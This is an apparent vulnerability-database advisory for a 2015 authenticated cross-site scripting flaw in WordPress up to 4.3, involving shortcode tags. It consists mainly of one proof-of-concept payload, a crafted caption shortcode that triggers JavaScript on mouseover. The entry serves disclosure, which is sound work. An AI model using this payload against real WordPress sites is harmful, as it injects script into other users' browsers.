Lucene search

K
wpexploitEthicalhack3rWPEX-ID:5C59D5D8-E7AA-4252-B878-D7D3091EEB35
HistorySep 15, 2015 - 12:00 a.m.

WordPress <= 4.3 - Authenticated Shortcode Tags Cross-Site Scripting (XSS)

2015-09-1500:00:00
ethicalhack3r
16
The following payload placed in a page or post (does not work in comments):

TEST!!![caption width="1" caption='<a href="' ">]</a><a href="http://onMouseOver='alert(1)'">Click me</a>